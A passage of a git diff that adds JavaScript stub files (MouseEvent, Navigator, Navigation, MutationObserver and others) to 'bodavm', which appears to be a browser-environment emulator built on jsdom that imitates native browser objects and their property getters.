arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "description_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "enabledPlugin", {configurable:true, enumerable:true, get:function enabledPlugin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "enabledPlugin_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MimeTypeArray.js b/env_xbb_lastest_jsdom/env copy/MimeTypeArray.js new file mode 100644 index 00000000..8e40c155 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MimeTypeArray.js @@ -0,0 +1,6 @@ +// MimeTypeArray对象 +bodavm.memory.globalobj['MimeTypeArray'] = function MimeTypeArray(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeTypeArray'], "MimeTypeArray"); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "namedItem", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MouseEvent.js b/env_xbb_lastest_jsdom/env copy/MouseEvent.js new file mode 100644 index 00000000..a2f01b3f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MouseEvent.js @@ -0,0 +1,40 @@ +// MouseEvent对象 +bodavm.memory.globalobj['MouseEvent'] = function MouseEvent() { + if (!(this instanceof MouseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length < 1) { + + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present.") + } +} +// MouseEvent对象 +bodavm.memory.globalobj['MouseEvent'] = function MouseEvent(){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present.")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MouseEvent'], "MouseEvent"); +bodavm.memory.globalobj['MouseEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['MouseEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('MouseEvent', "screenX", {configurable:true, enumerable:true, get:function screenX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "screenY", {configurable:true, enumerable:true, get:function screenY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientX", {configurable:true, enumerable:true, get:function clientX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientY", {configurable:true, enumerable:true, get:function clientY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "altKey_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "button", {configurable:true, enumerable:true, get:function button (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "button_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "buttons", {configurable:true, enumerable:true, get:function buttons (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "buttons_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "relatedTarget", {configurable:true, enumerable:true, get:function relatedTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "relatedTarget_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageX", {configurable:true, enumerable:true, get:function pageX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageY", {configurable:true, enumerable:true, get:function pageY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetX", {configurable:true, enumerable:true, get:function offsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetY", {configurable:true, enumerable:true, get:function offsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementX", {configurable:true, enumerable:true, get:function movementX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementY", {configurable:true, enumerable:true, get:function movementY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "fromElement", {configurable:true, enumerable:true, get:function fromElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "fromElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "toElement", {configurable:true, enumerable:true, get:function toElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "toElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerX", {configurable:true, enumerable:true, get:function layerX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerY", {configurable:true, enumerable:true, get:function layerY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "getModifierState", {configurable:true, enumerable:true, writable:true, value:function getModifierState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "getModifierState", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "initMouseEvent", {configurable:true, enumerable:true, writable:true, value:function initMouseEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "initMouseEvent", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/MutationObserver.js b/env_xbb_lastest_jsdom/env copy/MutationObserver.js new file mode 100644 index 00000000..5bf46be1 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/MutationObserver.js @@ -0,0 +1,14 @@ +// MutationObserver对象 +bodavm.memory.globalobj['MutationObserver'] = function MutationObserver(){ + if (!(this instanceof MutationObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present.")} + + this._boarg=new bodaobj.window.MutationObserver(arguments[0]) + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); +bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/NamedNodeMap.js b/env_xbb_lastest_jsdom/env copy/NamedNodeMap.js new file mode 100644 index 00000000..3271bac8 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/NamedNodeMap.js @@ -0,0 +1,11 @@ +// NamedNodeMap对象 +bodavm.memory.globalobj['NamedNodeMap'] = function NamedNodeMap(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NamedNodeMap'], "NamedNodeMap"); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItem", {configurable:true, enumerable:true, writable:true, value:function getNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function getNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItemNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItem", {configurable:true, enumerable:true, writable:true, value:function removeNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function removeNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItemNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItem", {configurable:true, enumerable:true, writable:true, value:function setNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function setNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItemNS", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Navigation.js b/env_xbb_lastest_jsdom/env copy/Navigation.js new file mode 100644 index 00000000..c6dcd1d7 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Navigation.js @@ -0,0 +1,26 @@ +// Navigation对象 +bodavm.memory.globalobj['Navigation'] = function Navigation(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigation'], "Navigation"); +bodavm.memory.globalobj['Navigation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Navigation'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Navigation', "currentEntry", {configurable:true, enumerable:true, get:function currentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "currentEntry_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "transition", {configurable:true, enumerable:true, get:function transition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "transition_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoBack", {configurable:true, enumerable:true, get:function canGoBack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoBack_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoForward", {configurable:true, enumerable:true, get:function canGoForward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoForward_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigate", {configurable:true, enumerable:true, get:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_get", arguments)}, set:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigatesuccess", {configurable:true, enumerable:true, get:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_get", arguments)}, set:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigateerror", {configurable:true, enumerable:true, get:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_get", arguments)}, set:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "oncurrententrychange", {configurable:true, enumerable:true, get:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_get", arguments)}, set:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "back", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "entries", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "forward", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "navigate", {configurable:true, enumerable:true, writable:true, value:function navigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "navigate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "reload", {configurable:true, enumerable:true, writable:true, value:function reload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "reload", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "traverseTo", {configurable:true, enumerable:true, writable:true, value:function traverseTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "traverseTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "updateCurrentEntry", {configurable:true, enumerable:true, writable:true, value:function updateCurrentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "updateCurrentEntry", arguments)}},'prototype'); + + + +bodavm.memory.globalobj[ 'navigation'] ={} +bodavm.memory.globalobj[ 'navigation'].__proto__=bodavm.memory.globalobj['Navigation'].prototype + diff --git a/env_xbb_lastest_jsdom/env copy/Navigator.js b/env_xbb_lastest_jsdom/env copy/Navigator.js new file mode 100644 index 00000000..7a3c6a3e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Navigator.js @@ -0,0 +1,77 @@ +// Navigator对象 +bodavm.memory.globalobj['Navigator'] = function Navigator(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigator'], "Navigator"); +bodavm.toolsFunc.defineProperty('Navigator', "vendorSub", {configurable:true, enumerable:true, get:function vendorSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendorSub_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "productSub", {configurable:true, enumerable:true, get:function productSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "productSub_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vendor", {configurable:true, enumerable:true, get:function vendor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendor_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "maxTouchPoints", {configurable:true, enumerable:true, get:function maxTouchPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "maxTouchPoints_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userActivation", {configurable:true, enumerable:true, get:function userActivation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userActivation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "doNotTrack", {configurable:true, enumerable:true, get:function doNotTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "doNotTrack_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "geolocation", {configurable:true, enumerable:true, get:function geolocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "geolocation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "connection_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "plugins_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mimeTypes", {configurable:true, enumerable:true, get:function mimeTypes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mimeTypes_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "pdfViewerEnabled", {configurable:true, enumerable:true, get:function pdfViewerEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "pdfViewerEnabled_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitTemporaryStorage", {configurable:true, enumerable:true, get:function webkitTemporaryStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitTemporaryStorage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitPersistentStorage", {configurable:true, enumerable:true, get:function webkitPersistentStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitPersistentStorage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hardwareConcurrency", {configurable:true, enumerable:true, get:function hardwareConcurrency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hardwareConcurrency_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "cookieEnabled", {configurable:true, enumerable:true, get:function cookieEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "cookieEnabled_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appCodeName", {configurable:true, enumerable:true, get:function appCodeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appCodeName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appName", {configurable:true, enumerable:true, get:function appName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "appVersion", {configurable:true, enumerable:true, get:function appVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appVersion_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "platform", {configurable:true, enumerable:true, get:function platform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "platform_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "product", {configurable:true, enumerable:true, get:function product (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "product_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgent", {configurable:true, enumerable:true, get:function userAgent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgent_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "language", {configurable:true, enumerable:true, get:function language (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "language_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "languages", {configurable:true, enumerable:true, get:function languages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "languages_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "onLine", {configurable:true, enumerable:true, get:function onLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "onLine_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webdriver", {configurable:true, enumerable:true, get:function webdriver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webdriver_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getBattery", {configurable:true, enumerable:true, writable:true, value:function getBattery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getBattery", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getGamepads", {configurable:true, enumerable:true, writable:true, value:function getGamepads (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getGamepads", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "javaEnabled", {configurable:true, enumerable:true, writable:true, value:function javaEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "javaEnabled", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "sendBeacon", {configurable:true, enumerable:true, writable:true, value:function sendBeacon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "sendBeacon", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vibrate", {configurable:true, enumerable:true, writable:true, value:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vibrate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "scheduling", {configurable:true, enumerable:true, get:function scheduling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "scheduling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "bluetooth", {configurable:true, enumerable:true, get:function bluetooth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "bluetooth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clipboard", {configurable:true, enumerable:true, get:function clipboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clipboard_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "credentials_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "keyboard", {configurable:true, enumerable:true, get:function keyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "keyboard_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "managed", {configurable:true, enumerable:true, get:function managed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "managed_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaDevices", {configurable:true, enumerable:true, get:function mediaDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaDevices_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "storage", {configurable:true, enumerable:true, get:function storage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "storage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serviceWorker", {configurable:true, enumerable:true, get:function serviceWorker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serviceWorker_get", arguments)}, 